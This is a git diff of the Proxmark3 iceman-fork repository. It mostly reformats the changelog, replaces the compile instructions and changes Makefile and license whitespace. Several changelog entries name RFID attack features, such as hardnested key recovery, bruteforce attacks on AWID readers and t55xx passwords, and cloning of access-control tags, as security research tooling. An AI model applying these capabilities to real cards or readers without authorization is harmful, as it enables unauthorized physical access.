em4x50***` refactoring of em4x50 commands. (iceman) + - hf mf dump - added retry loops to try each read attempt up to 3 times. makes getting a complete dump easier with many antennas. (@marshmellow42) + - Added markers in the graph around found Sequence Terminator after askmandemod. (@marshmellow42) + - Added data mtrim command to trim out samples between start and stop. (@marshmellow42) + - Added data setgraphmarkers command to set two extra markers on the graph (@marshmellow42) + - added json support in lua (@vitorio) + - added a buspirate settings file for at91sam7s512 (@adamlaurie) + - `lf read` timeouts is now depended on what threshold level you set in `lf config` (@marshmellow42) + - `hf mf sim` fixed a bug which made sim fail auths. (@iceman1001) + - `hf 14a read` added magic tag generation 1a and 1b detection (@iceman1001) + - correctly using stdtypes.h printf and scanf format string macros (PRIx64 et al) (@pwpiwi) + - fix linker warning re missing entry point when linking fullimage.elf (@pwpiwi) + - small changes to lf psk and fsk demods to improve results when the trace begins with noise or the chip is not broadcasting yet (@marshmellow42) + - NOTE CHANGED ALL `lf em4x em*` cmds to simpler `lf em ` - example: `lf em4x em410xdemod` is now `lf em 410xdemod` + - Renamed and rebuilt `lf em readword` && readwordpwd to `lf em 4x05read` - it now demods and outputs the read block (@marshmellow42/@iceman1001) + - Renamed and rebuilt `lf em writeword` && writewordpwd to `lf em 4x05write` - it now also reads validation output from the tag (@marshmellow42/@iceman1001) + - Fixed bug in lf sim and continuous demods not turning off antenna when finished + - Added lua script path fixes (@pwpiwi) + - `lf search` - Added EM4x05/EM4x69 chip detection (@marshmellow42) + - Added lf em 4x05dump command to read and output all the blocks of the chip (@marshmellow42) + - Added lf em 4x05info command to read and display information about the chip (@marshmellow42) + - `lf em4x em4x50***` refactoring of em4x50 commands. (@iceman1001) ## [1.6.9 iceman fork] [2017-02-06] - - Serial speedup, if possible 408600baud otherwise default to 115200baud (iceman) - - `hf emv` - Added Peter Fillmore's EMV branch now compiles on iceman fork. See seperate issue. (iceman) - - `hf 14a reader` - Aztek detection. (iceman) - - `standalone mode` - added more detection of tags and refactored (iceman) - - `script run ufodump` - dumps an Aztek tag. (iceman) - - `script run hard_autopwn` - runs hardnested attack against all sectors on tag (iceman) - - Added lf cotag read, and added it to lf search (iceman) - - Added hitag2 read UID only and added that to lf search (marshmellow) - - `lf search` - check for if signal is only noice (marshmellow) - - `hf 14a reader` - fixed a bug when card has sak 0x00 but still is not UL/NTAG etc. (iceman) - - `hf mf sim` / `hf 14a sim` - use random nonce. (micolous) - - `hw tune` - only prints out if voltage is detected from antenna. (iceman) - - `hf iclass decrypt` - only decrypt Application1 (iceman) - - `lf t55xx detect` - when finding multiple possible config blocks, see if a known configblock exists and select. (iceman) + - Serial speedup, if possible 408600baud otherwise default to 115200baud (@iceman1001) + - `hf emv` - Added Peter Fillmore EMV branch now compiles on iceman fork. See seperate issue. (@iceman1001) + - `hf 14a reader` - Aztek detection. (@iceman1001) + - `standalone mode` - added more detection of tags and refactored (@iceman1001) + - `script run ufodump` - dumps an Aztek tag. (@iceman1001) + - `script run hard_autopwn` - runs hardnested attack against all sectors on tag (@iceman1001) + - Added lf cotag read, and added it to lf search (@iceman1001) + - Added hitag2 read UID only and added that to lf search (@marshmellow42) + - `lf search` - check for if signal is only noice (@marshmellow42) + - `hf 14a reader` - fixed a bug when card has sak 0x00 but still is not UL/NTAG etc. (@iceman1001) + - `hf mf sim` / `hf 14a sim` - use random nonce. (@micolous) + - `hw tune` - only prints out if voltage is detected from antenna. (@iceman1001) + - `hf iclass decrypt` - only decrypt Application1 (@iceman1001) + - `lf t55xx detect` - when finding multiple possible config blocks, see if a known configblock exists and select. (@iceman1001) ## [1.6.7 iceman fork] [2017-01-05] - - `lf animal` - FDX-B animal commands (iceman) - - Fixed bugs in `lf sim` and other lf continuous demods not turning off antenna when finished (marshmellow) - - `hf iclass write` - fixed bugs, added crc. (?) - - `hf iclass dump` - changed layout in dump (iceman) - - Changed - debug statements are more clear (iceman) - - `lf search` - fixed the silent option when acquire data. (iceman) - - `lf search` - added presco, visa2000, noralsy detection (iceman) - - `lf precso` - fixed some bitsgeneration in precso bits (iceman) - - Added `lf noralsy` - adds demod/clone/sime of Noralsy LF tags. (iceman) - - Added `lf visa2000` - adds demod/clone/sim of Visa2000 lF tags. (iceman) - - Added `hf mf key_brute` - adds J-Runs 2nd phase bruteforce ref: https://github.com/J-Run/mf_key_brute (iceman) - - Added `lf jablotron` - adds demod/clone/sim of Jablotron LF tags. (iceman) - - Added `lf t55xx recoverpw` - adds a new password recovery using bitflips and partial flips if password write went bad. (alexgrin) - - `hf legic` - added improved legic data mapping. (jason) - - `hf mf mifare` - added possibility to target key A|B (douniwan5788) - - Added `analyse lcr` - added a new main command group, to help analysing bytes & bits & nibbles. (iceman) - - Added `lf nedap` - added identification of a NEDAP tag. (iceman) - - `lf viking clone` - fixed a bug. (iceman) - - Added bitsliced bruteforce solver in `hf mf hardnested` (Aczid) - - `hf mf chk` speedup (iceman) - - `hf 14a/mf sim x` attack mode, now uses also moebius version of mfkey32 to try finding the key. (iceman) - - `hf 14a sim` Added emulation of Mifare cards with 10byte UID length. (iceman) - - `hf mf sim` Added emulation of Mifare cards with 10byte UID length. (iceman) - - Added `lf guard clone/sim` (iceman) - - Added `lf pyramd clone/sim` (iceman) - - trying to fix `hf 14b` command to be able to read CALYPSO card. (iceman) - - `hf legic load`, it now loads faster and a casting bug is gone. (iceman) - - Added `hf legic calccrc8` added a method to calculate the legic crc-8 value (iceman) - - `hf legic decode` fixed the output overflow bugs, better printing (iceman) - - Coverity Scan fixes a lot of resource leaks, etc (iceman) - - Added `lf presco *` commands started (iceman) - - Added `lf hid wiegand` added a method to calculate WIEGAND in different formats, (iceman) - - `hf mf chkkeys` better printing, same table output as nested, faster execution and added Adam Lauries "try to read Key B if Key A is found" (iceman) - - `hf mf nested` better printing and added Adam Lauries "try to read Key B if Key A is found" (iceman) - - `hf mf mifare` fixing the zero parity path, which doesn't got called. (iceman) - - Updated the @blapost's Crapto1 implementation to v3.3 (blapost) - - `hf mf c*` updated the calling structure and refactored of the chinese magic commands (iceman, marshmellow) - - Started to add Peter Fillmore's EMV fork into Iceman fork. ref: https://github.com/peterfillmore/proxmark3 (peter fillmore, iceman) - - Added Travis-CI automatic build integration with GitHub fork. (iceman) - - Updated the Reveng 1.30 sourcecode to 1.31 from Reveng project homepage (iceman) - - Updated the Reveng 1.31 sourcecode to 1.40 from Reveng project homepage (iceman) - - - Added possibility to write direct to a Legic Prime Tag (MIM256/1024) without using values from the 'BigBuffer' -> 'hf legic writeRaw ' (icsom) - - Added possibility to decrease DCF values at address 0x05 & 0x06 on a Legic Prime Tag - DCF-value will be pulled from the BigBuffer (address 0x05 & 0x06) so you have to - load the data into the BigBuffer before with 'hf legic load ' & then - write the DCF-Values (both at once) with 'hf legic write 0x05 0x02' (icsom) - - Added script `legic.lua` for display and edit Data of Legic-Prime Tags (icsom) - - Added the experimental HITAG_S support (spenneb) - - Added topaz detection to `hf search` (iceman) - - Fixed the silent mode for 14b to be used inside `hf search` (iceman) + - `lf animal` - FDX-B animal commands (@iceman1001) + - Fixed bugs in `lf sim` and other lf continuous demods not turning off antenna when finished (@marshmellow42) + - `hf iclass write` - fixed bugs, added crc. (?) + - `hf iclass dump` - changed layout in dump (@iceman1001) + - Changed - debug statements are more clear (@iceman1001) + - `lf search` - fixed the silent option when acquire data. (@iceman1001) + - `lf search` - added presco, visa2000, noralsy detection (@iceman1001) + - `lf precso` - fixed some bitsgeneration in precso bits (@iceman1001) + - Added `lf noralsy` - adds demod/clone/sime of Noralsy LF tags. (@iceman1001) + - Added `lf visa2000` - adds demod/clone/sim of Visa2000 lF tags. (@iceman1001) + - Added `hf mf key_brute` - adds J-Runs 2nd phase bruteforce ref: https://github.com/J-Run/mf_key_brute (@iceman1001) + - Added `lf jablotron` - adds demod/clone/sim of Jablotron LF tags. (@iceman1001) + - Added `lf t55xx recoverpw` - adds a new password recovery using bitflips and partial flips if password write went bad. (@alexgrin) + - `hf legic` - added improved legic data mapping. (jason) + - `hf mf mifare` - added possibility to target key A|B (@douniwan5788) + - Added `analyse lcr` - added a new main command group, to help analysing bytes & bits & nibbles. (@iceman1001) + - Added `lf nedap` - added identification of a NEDAP tag. (@iceman1001) + - `lf viking clone` - fixed a bug. (@iceman1001) + - Added bitsliced bruteforce solver in `hf mf hardnested` (@Aczid) + - `hf mf chk` speedup (@iceman1001) + - `hf 14a/mf sim x` attack mode, now uses also moebius version of mfkey32 to try finding the key. (@iceman1001) + - `hf 14a sim` Added emulation of Mifare cards with 10byte UID length. (@iceman1001) + - `hf mf sim` Added emulation of Mifare cards with 10byte UID length. (@iceman1001) + - Added `lf guard clone/sim` (@iceman1001) + - Added `lf pyramd clone/sim` (@iceman1001) + - trying to fix `hf 14b` command to be able to read CALYPSO card. (@iceman1001) + - `hf legic load`, it now loads faster and a casting bug is gone. (@iceman1001) + - Added `hf legic calccrc8` added a method to calculate the legic crc-8 value (@iceman1001) + - `hf legic decode` fixed the output overflow bugs, better printing (@iceman1001) + - Coverity Scan fixes a lot of resource leaks, etc (@iceman1001) + - Added `lf presco *` commands started (@iceman1001) + - Added `lf hid wiegand` added a method to calculate WIEGAND in different formats, (@iceman1001) + - `hf mf chkkeys` better printing, same table output as nested, faster execution and added Adam Lauries "try to read Key B if Key A is found" (@iceman1001) + - `hf mf nested` better printing and added Adam Lauries "try to read Key B if Key A is found" (@iceman1001) + - `hf mf mifare` fixing the zero parity path, which did not get called. (@iceman1001) + - Updated the @blapost Crapto1 implementation to v3.3 (blapost) + - `hf mf c*` updated the calling structure and refactored of the chinese magic commands (@iceman1001, @marshmellow42) + - Started to add Peter Fillmore EMV fork into Iceman fork. ref: https://github.com/peterfillmore/proxmark3 (@peterfillmore, @iceman1001) + - Added Travis-CI automatic build integration with GitHub fork. (@iceman1001) + - Updated the Reveng 1.30 sourcecode to 1.31 from Reveng project homepage (@iceman1001) + - Updated the Reveng 1.31 sourcecode to 1.40 from Reveng project homepage (@iceman1001) + - Added possibility to write direct to a Legic Prime Tag (MIM256/1024) without using values from the `BigBuffer` -> `hf legic writeRaw ` (@icsom) + - Added possibility to decrease DCF values at address 0x05 & 0x06 on a Legic Prime Tag + DCF-value will be pulled from the BigBuffer (address 0x05 & 0x06) so you have to + load the data into the BigBuffer before with `hf legic load ` & then + write the DCF-Values (both at once) with `hf legic write 0x05 0x02` (@icsom) + - Added script `legic.lua` for display and edit Data of Legic-Prime Tags (@icsom) + - Added the experimental HITAG_S support (@spenneb) + - Added topaz detection to `hf search` (@iceman1001) + - Fixed the silent mode for 14b to be used inside `hf search` (@iceman1001) ### Added -- Added a LF ASK Sequence Terminator detection option to the standard ask demod - and applied it to `lf search u`, `lf t55xx detect`, and `data rawdemod am s` (marshmellow) -- `lf awid bruteforce ` - Simple bruteforce attack against a AWID reader. -- `lf t55xx bruteforce [i <*.dic>]` - Simple bruteforce attack to find password - (iceman and others) -- `lf viking clone`- clone viking tag to t55x7 or Q5 from 4byte hex ID input -- `lf viking sim` - sim full viking tag from 4byte hex ID input -- `lf viking read` - read viking tag and output ID -- `lf t55xx wipe` - sets t55xx back to factory defaults -- Added viking demod to `lf search` (marshmellow) -- `data askvikingdemod` demod viking id tag from graphbuffer (marshmellow) -- `lf t55xx resetread` added reset then read command - should allow determining start of stream transmissions (marshmellow) -- `lf t55xx wakeup` added wake with password (AOR) to allow lf search or standard lf read after (iceman, marshmellow) -- `hf mf eload u` added an ultralight/ntag option. (marshmellow) -- `hf iclass managekeys` to save, load and manage iclass keys. (adjusted most commands to accept a loaded key in memory) (marshmellow) -- `hf iclass readblk` to select, authenticate, and read 1 block from an iclass card (marshmellow) -- `hf iclass writeblk` to select, authenticate, and write 1 block to an iclass card (or picopass) (marshmellow + others) -- `hf iclass clone` to take a saved dump file and clone selected blocks to a new tag (marshmellow + others) -- `hf iclass calcnewkey` - to calculate the div_key change to change a key - (experimental) (marshmellow + others) -- `hf iclass encryptblk` - to encrypt a data block hex to prep for writing that block (marshmellow) -- ISO14443a stand-alone operation with ARM CFLAG="WITH_ISO14443a_StandAlone". This code can read & emulate two banks of 14a tag UIDs and write to "magic" cards (Craig Young) -- AWID26 command context added as 'lf awid' containing realtime demodulation as well as cloning/simulation based on tag numbers (Craig Young) -- Added 'hw status'. This command makes the ARM print out some runtime information. (holiman) -- Added 'hw ping'. This command just sends a usb packets and checks if the pm3 is responsive. Can be used to abort certain operations which supports abort over usb. (holiman) -- Added `data hex2bin` and `data bin2hex` for command line conversion between binary and hexadecimal (holiman) -- Added 'hf snoop'. This command take digitalized signal from FPGA and put in BigBuffer. (pwpiwi + enio) -- Added Topaz (NFC type 1) protocol support ('hf topaz reader', 'hf list topaz', 'hf 14a raw -T', 'hf topaz snoop'). (piwi) -- Added option c to 'hf list' (mark CRC bytes) (piwi) + - Added a LF ASK Sequence Terminator detection option to the standard ask demod - and applied it to `lf search u`, `lf t55xx detect`, and `data rawdemod am s` (@marshmellow42) + - `lf awid bruteforce ` - Simple bruteforce attack against a AWID reader. + - `lf t55xx bruteforce [i <*.dic>]` - Simple bruteforce attack to find password - (@iceman1001 and others) + - `lf viking clone`- clone viking tag to t55x7 or Q5 from 4byte hex ID input + - `lf viking sim` - sim full viking tag from 4byte hex ID input + - `lf viking read` - read viking tag and output ID + - `lf t55xx wipe` - sets t55xx back to factory defaults + - Added viking demod to `lf search` (@marshmellow42) + - `data askvikingdemod` demod viking id tag from graphbuffer (@marshmellow42) + - `lf t55xx resetread` added reset then read command - should allow determining start of stream transmissions (@marshmellow42) + - `lf t55xx wakeup` added wake with password (AOR) to allow lf search or standard lf read after (@iceman1001, @marshmellow42) + - `hf mf eload u` added an ultralight/ntag option. (@marshmellow42) + - `hf iclass managekeys` to save, load and manage iclass keys. (adjusted most commands to accept a loaded key in memory) (@marshmellow42) + - `hf iclass readblk` to select, authenticate, and read 1 block from an iclass card (@marshmellow42) + - `hf iclass writeblk` to select, authenticate, and write 1 block to an iclass card (or picopass) (@marshmellow42 + others) + - `hf iclass clone` to take a saved dump file and clone selected blocks to a new tag (@marshmellow42 + others) + - `hf iclass calcnewkey` - to calculate the div_key change to change a key - (experimental) (@marshmellow42 + others) + - `hf iclass encryptblk` - to encrypt a data block hex to prep for writing that block (@marshmellow42) + - ISO14443a stand-alone operation with ARM CFLAG="WITH_ISO14443a_StandAlone". This code can read & emulate two banks of 14a tag UIDs and write to "magic" cards (Craig Young) + - AWID26 command context added as `lf awid` containing realtime demodulation as well as cloning/simulation based on tag numbers (Craig Young) + - Added `hw status`. This command makes the ARM print out some runtime information. (@holiman) + - Added `hw ping`. This command just sends a usb packets and checks if the pm3 is responsive. Can be used to abort certain operations which supports abort over usb. (@holiman) + - Added `data hex2bin` and `data bin2hex` for command line conversion between binary and hexadecimal (@holiman) + - Added `hf snoop`. This command take digitalized signal from FPGA and put in BigBuffer. (@pwpiwi + enio) + - Added Topaz (NFC type 1) protocol support (`hf topaz reader`, `hf list topaz`, `hf 14a raw -T`, `hf topaz snoop`). (@pwpiwi) + - Added option c to `hf list` (mark CRC bytes) (@pwpiwi) -### Changed -- Added `[l] ` option to data printdemodbuffer -- Adjusted lf awid clone to optionally clone to Q5 tags -- Adjusted lf t55xx detect to find Q5 tags (t5555) instead of just t55x7 -- Adjusted all lf NRZ demods - works more accurately and consistently (as long as you have strong signal) -- Adjusted lf pskindalademod to reduce false positive reads. -- Small adjustments to psk, nrz, and ask clock detect routines - more reliable. -- Adjusted lf em410x em410xsim to accept a clock argument -- Adjusted lf t55xx dump to allow overriding the safety check and warning text (marshmellow) -- Adjusted lf t55xx write input variables (marshmellow) -- Adjusted lf t55xx read with password safety check and warning text and adjusted the input variables (marshmellow & iceman) -- Adjusted LF FSK demod to account for cross threshold fluctuations (898 count waves will adjust the 9 to 8 now...) more accurate. (marshmellow) -- Adjusted timings for t55xx commands. more reliable now. (marshmellow & iceman) -- `lf cmdread` adjusted input methods and added help text (marshmellow & iceman) -- changed `lf config t ` to be 0 - 128 and will trigger on + or - threshold value (marshmellow) -- `hf iclass dump` cli options - can now dump AA1 and AA2 with different keys in one run (does not go to multiple pages for the larger tags yet) (marshmellow) -- Revised workflow for StandAloneMode14a (Craig Young) -- EPA functions (`hf epa`) now support both ISO 14443-A and 14443-B cards (frederikmoellers) -- 'hw version' only talks to ARM at startup, after that the info is cached. (pwpiwi) -- Added `r` option to iclass functions - allows key to be provided in raw block 3/4 format +### Changed + - Added `[l] ` option to data printdemodbuffer + - Adjusted lf awid clone to optionally clone to Q5 tags + - Adjusted lf t55xx detect to find Q5 tags (t5555) instead of just t55x7 + - Adjusted all lf NRZ demods - works more accurately and consistently (as long as you have strong signal) + - Adjusted lf pskindalademod to reduce false positive reads. + - Small adjustments to psk, nrz, and ask clock detect routines - more reliable. + - Adjusted lf em410x em410xsim to accept a clock argument + - Adjusted lf t55xx dump to allow overriding the safety check and warning text (@marshmellow42) + - Adjusted lf t55xx write input variables (@marshmellow42) + - Adjusted lf t55xx read with password safety check and warning text and adjusted the input variables (@marshmellow42 & @iceman1001) + - Adjusted LF FSK demod to account for cross threshold fluctuations (898 count waves will adjust the 9 to 8 now...) more accurate. (@marshmellow42) + - Adjusted timings for t55xx commands. more reliable now. (@marshmellow42 & @iceman1001) + - `lf cmdread` adjusted input methods and added help text (@marshmellow42 & @iceman1001) + - changed `lf config t ` to be 0 - 128 and will trigger on + or - threshold value (@marshmellow42) + - `hf iclass dump` cli options - can now dump AA1 and AA2 with different keys in one run (does not go to multiple pages for the larger tags yet) (@marshmellow42) + - Revised workflow for StandAloneMode14a (Craig Young) + - EPA functions (`hf epa`) now support both ISO 14443-A and 14443-B cards (@frederikmoellers) + - `hw version` only talks to ARM at startup, after that the info is cached. (@pwpiwi) + - Added `r` option to iclass functions - allows key to be provided in raw block 3/4 format ## [2.2.0][2015-07-12] ### Changed -- Added `hf 14b raw -s` option to auto select a 14b std tag before raw command -- Changed `hf 14b write` to `hf 14b sriwrite` as it only applied to sri tags (marshmellow) -- Added `hf 14b info` to `hf search` (marshmellow) -- Added compression of fpga config and data, *BOOTROM REFLASH REQUIRED* (piwi) -- Implemented better detection of mifare-tags that are not vulnerable to classic attacks (`hf mf mifare`, `hf mf nested`) (piwi) + - Added `hf 14b raw -s` option to auto select a 14b std tag before raw command + - Changed `hf 14b write` to `hf 14b sriwrite` as it only applied to sri tags (@marshmellow42) + - Added `hf 14b info` to `hf search` (@marshmellow42) + - Added compression of fpga config and data, *BOOTROM REFLASH REQUIRED* (@pwpiwi) + - Implemented better detection of mifare-tags that are not vulnerable to classic attacks (`hf mf mifare`, `hf mf nested`) (@pwpiwi) ### Added -- Add `hf 14b reader` to find and print general info about known 14b tags (marshmellow) -- Add `hf 14b info` to find and print info about std 14b tags and sri tags (using 14b raw commands in the client) (marshmellow) -- Add PACE replay functionality (frederikmoellers) + - Added `hf 14b reader` to find and print general info about known 14b tags (@marshmellow42) + - Added `hf 14b info` to find and print info about std 14b tags and sri tags (using 14b raw commands in the client) (@marshmellow42) + - Added PACE replay functionality (@frederikmoellers) ### Fixed -- t55xx write timing (marshmellow) + - t55xx write timing (@marshmellow42) ## [2.1.0][2015-06-23] ### Changed -- Added ultralight/ntag tag type detection to `hf 14a read` (marshmellow) -- Improved ultralight dump command to auto detect tag type, take authentication, and dump full memory (or subset specified) of known tag types (iceman1001 / marshmellow) -- Combined ultralight read/write commands and added authentication (iceman1001) -- Improved LF manchester and biphase demodulation and ask clock detection especially for reads with heavy clipping. (marshmellow) -- Iclass read, `hf iclass read` now also reads tag config and prints configuration. (holiman) -- *bootrom* needs to be flashed, due to new address boundaries between os and fpga, after a size optimization (piwi) + - Added ultralight/ntag tag type detection to `hf 14a read` (@marshmellow42) + - Improved ultralight dump command to auto detect tag type, take authentication, and dump full memory (or subset specified) of known tag types (@iceman1001 / @marshmellow42) + - Combined ultralight read/write commands and added authentication (@iceman1001) + - Improved LF manchester and biphase demodulation and ask clock detection especially for reads with heavy clipping. (@marshmellow42) + - Iclass read, `hf iclass read` now also reads tag config and prints configuration. (@holiman) + - *bootrom* needs to be flashed, due to new address boundaries between os and fpga, after a size optimization (@pwpiwi) ### Fixed -- Fixed EM4x50 read/demod of the tags broadcasted memory blocks. 'lf em4x em4x50read' (not page read) (marshmellow) -- Fixed issue #19, problems with LF T55xx commands (iceman1001, marshmellow) -- Fixed various problems with iso14443b, issue #103 (piwi, marshmellow) + - Fixed EM4x50 read/demod of the tags broadcasted memory blocks. `lf em4x em4x50read` (not page read) (@marshmellow42) + - Fixed issue #19, problems with LF T55xx commands (@iceman1001, @marshmellow42) + - Fixed various problems with iso14443b, issue #103 (@pwpiwi, @marshmellow42) ### Added -- Added `hf search` - currently tests for 14443a tags, iclass tags, and 15693 tags (marshmellow) -- Added `hf mfu info` Ultralight/NTAG info command - reads tag configuration and info, allows authentication if needed (iceman1001, marshmellow) -- Added Mifare Ultralight C and Ultralight EV1/NTAG authentication. (iceman1001) -- Added changelog -- Added `data fdxbdemod` - Demodulate a FDX-B ISO11784/85 Biphase tag from GraphBuffer aka ANIMAL TAG (marshmellow, iceman1001) + - Added `hf search` - currently tests for 14443a tags, iclass tags, and 15693 tags (@marshmellow42) + - Added `hf mfu info` Ultralight/NTAG info command - reads tag configuration and info, allows authentication if needed (@iceman1001, @marshmellow42) + - Added Mifare Ultralight C and Ultralight EV1/NTAG authentication. (@iceman1001) + - Added changelog + - Added `data fdxbdemod` - Demodulate a FDX-B ISO11784/85 Biphase tag from GraphBuffer aka ANIMAL TAG (@marshmellow42, @iceman1001) ## [2.0.0] - 2015-03-25 ### Changed -- LF sim operations now abort when new commands arrive over the USB - not required to push the device button anymore. + - LF sim operations now abort when new commands arrive over the USB - not required to push the device button anymore. ### Fixed -- Mifare simulation, `hf mf sim` (was broken a long time) (pwpiwi) -- Major improvements in LF area and data operations. (marshmellow, iceman1001) -- Issues regarding LF simulation (pwpiwi) + - Mifare simulation, `hf mf sim` (was broken a long time) (@pwpiwi) + - Major improvements in LF area and data operations. (@marshmellow42, @iceman1001) + - Issues regarding LF simulation (@pwpiwi) ### Added -- iClass functionality: full simulation of iclass tags, so tags can be simulated with data (not only CSN). Not yet support for write/update, but readers don't seem to enforce update. (holiman). -- iClass decryption. Proxmark can now decrypt data on an iclass tag, but requires you to have the HID decryption key locally on your computer, as this is not bundled with the sourcecode. + - iClass functionality: full simulation of iclass tags, so tags can be simulated with data (not only CSN). Not yet support for write/update, but readers do not seem to enforce update. (@holiman). + - iClass decryption. Proxmark can now decrypt data on an iclass tag, but requires you to have the HID decryption key locally on your computer, as this is not bundled with the sourcecode. diff --git a/COMPILING.txt b/COMPILING.txt index 04ff1d8bf..58ee40c08 100644 --- a/COMPILING.txt +++ b/COMPILING.txt @@ -1,131 +1,2 @@ -The project compiles on Linux, Mac OS X and Windows (MinGW/MSYS). - -it requires: -- gcc >= 4.8 -- libpthread -- libreadline -- libusb -- perl -- an ARM cross-compiler to compile the firmware -- libncurses5-dev - -and optionally QT for the GUI - - -To compile, just run "make". - -=========== -= Windows = -=========== - -Rather than download and install every one of these packages, a new ProxSpace -environment archive file will be made available for download on the project -page at @Gator96100's repo - -Afterwards just clone the iceman repo or download someone elses. Read instructions on @Gator96100 repo page. (https://github.com/Gator96100/ProxSpace/) - -Download the ProxSpace environment archive and extract it to C:\ - -Links - https://github.com/Gator96100/ProxSpace/archive/master.zip - - -============ -= Mac OS X = -============ - -Installing from HomeBrew tap ---------------------------- -This method is recommended and tested on macOS Sierra 10.12.3 - -1. Install homebrew if you haven't yet already done so: http://brew.sh/ - -2. Tap proxmark repo: - brew tap iceman1001/proxmark3 - -3. Install Proxmark3: - -Stable release - brew install proxmark3 - -Latest non-stable from GitHub (use this if previous command fails) - brew install --HEAD proxmark3 - -For more information go to https://github.com/iceman1001/homebrew-proxmark3 - -Upgrading HomeBrew tap formula ------------------------------ -*This method is useful for those looking to run bleeding-edge versions of iceman's client. Keep this in mind when attempting to update your HomeBrew tap formula as this procedure could easily cause a build to break if an update is unstable on macOS.* - -Tested on macOS Sierra 10.12.6 - -*Note: This assumes you have already installed iceman's fork from HomeBrew as mentioned above* - -1. Force HomeBrew to pull the latest source from github -`brew upgrade --fetch-HEAD iceman1001/proxmark3/proxmark3` - -2. Flash the bootloader - * With your Proxmark3 unplugged from your machine, press and hold the button on your Proxmark 3 as you plug it into a USB port. After about 5 seconds let go of the button and run this command - `$ sudo proxmark3-flasher /dev/tty.usbmodem881 /usr/local/Cellar/proxmark3/HEAD-ccfdd60/share/firmware/fullimage.elf` - * After the bootloader finishes flashing, unplug your Proxmark3 from your machine - -3. Flash fullimage.elf - * Press and hold the button on your Proxmark 3 and keep it held as you plug the Proxmark 3 back into the USB port; continue to hold the button until after this step is complete and the `proxmark3-flasher` command outputs "Have a nice day!"* - -`$ sudo proxmark3-flasher /dev/tty.usbmodem881 /usr/local/Cellar/proxmark3/HEAD-ccfdd60/share/firmware/fullimage.elf` - -4. Enjoy the update - -Compilling from source manually (Legacy) ---------------------------- - -Tested on OSX 10.10 Yosemite - -1 - Install Xcode and Xcode Command Line Tools - -2 - Install Homebrew and dependencies - brew install readline libusb p7zip libusb-compat wget qt5 pkgconfig - -3 - Download DevKitARM for OSX - http://sourceforge.net/projects/devkitpro/files/devkitARM/devkitARM_r44/ - Unpack devkitARM_r44-osx.tar.bz2 to proxmark3 directory. - -4 - Edit proxmark3/client/Makefile adding path to readline and qt5 - - LDLIBS = -L/usr/local/opt/readline/lib -L/usr/local/opt/qt5/lib -L/opt/local/lib -L/usr/local/lib ../liblua/liblua.a -lreadline -lpthread -lm - CFLAGS = -std=c99 -I/usr/local/opt/qt5/include -I/usr/local/opt/readline/include -I. -I../include -I../common -I../zlib -I/opt/local/include -I../liblua -Wall $(COMMON_FLAGS) -g -O4 - - If your old brew intallation use /usr/local/Cellar/ path replace /usr/local/opt/readline/lib with your actuall readline and qt5 path. See homebrew manuals. - -5 - Set Environment - - export DEVKITPRO=$HOME/proxmark3/ - export DEVKITARM=$DEVKITPRO/devkitARM - export PATH=${PATH}:${DEVKITARM}/bin - - -============ -= Linux = -============ - -1 - Download - -A precompiled DevKitARM cross compiler tool chain package can be found at -http://sourceforge.net/projects/devkitpro/files/devkitARM -Select the one you need (32bit or 64bit) and unpack to a convinient place, eg -$HOME/proxmark3/. It will create a devkitARM/ subdirectory. - -You will also need a general compiling environment on your computer for -the client and the libusb headers. In most distributions you will get all you -need with the lsb-package (Linux Standard Base). In debian/ubuntu you simply -call `aptitude install lsb libusb-dev libreadline-dev libreadline6`. - -For the graphical plot view, you might need the qtlibs (debian/ubuntu: -libqt4-dev), too. - -2 - Set Environment - -export DEVKITPRO=$HOME/proxmark3/ -export DEVKITARM=$DEVKITPRO/devkitARM -export PATH=${PATH}:${DEVKITARM}/bin +Refer to doc/md/Installation_Instructions/ for up-to-date intructions for various platforms. diff --git a/LICENSE.txt b/LICENSE.txt index b26a158fa..7f48bec21 100644 --- a/LICENSE.txt +++ b/LICENSE.txt @@ -1,13 +1,13 @@ - GNU GENERAL PUBLIC LICENSE - Version 2, June 1991 + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. - Preamble + Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public @@ -57,7 +57,7 @@ patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. - GNU GENERAL PUBLIC LICENSE + GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains @@ -256,7 +256,7 @@ make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. - NO WARRANTY + NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN @@ -278,4 +278,4 @@ YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. - END OF TERMS AND CONDITIONS + END OF TERMS AND CONDITIONS diff --git a/Makefile b/Makefile index 910aa62f6..5c7947fc5 100644 --- a/Makefile +++ b/Makefile @@ -1,82 +1,131 @@ -# Hide full compilation line: -ifneq ($(V),1) - Q?=@ -endif -# To see full command lines, use make V=1 - -GZIP=gzip -# Windows' echo echos its input verbatim, on Posix there is some -# amount of shell command line parsing going on. echo "" on -# Windows yields literal "", on Linux yields an empty line -ifeq ($(shell echo ""),) - # This is probably a proper system, so we can use uname - DELETE=rm -rf - FLASH_TOOL=client/flasher - platform=$(shell uname) - ifneq (,$(findstring MINGW,$(platform))) - FLASH_PORT=com3 - PATHSEP=\\# - else - FLASH_PORT=/dev/ttyACM0 - PATHSEP=/ - endif -else - # Assume that we are running on native Windows - DELETE=del /q - FLASH_TOOL=client/flasher.exe - platform=Windows - FLASH_PORT=com3 - PATHSEP=\\# -endif +include Makefile.defs -include Makefile.platform -include .Makefile.options.cache -include common/Makefile.hal +include common_arm/Makefile.hal -all clean: %: client/% bootrom/% armsrc/% recovery/% mfkey/% nonce2key/% +# preserve relative DESTDIR path for subdir makes +ifneq (,$(DESTDIR)) + # realpath needs the directory to exist + $(shell $(MKDIR) $(DESTDIR)) + MYDESTDIR:=$(realpath $(DESTDIR)) + ifeq (,$(MYDESTDIR)) + $(error Can't create $(DESTDIR)) + endif 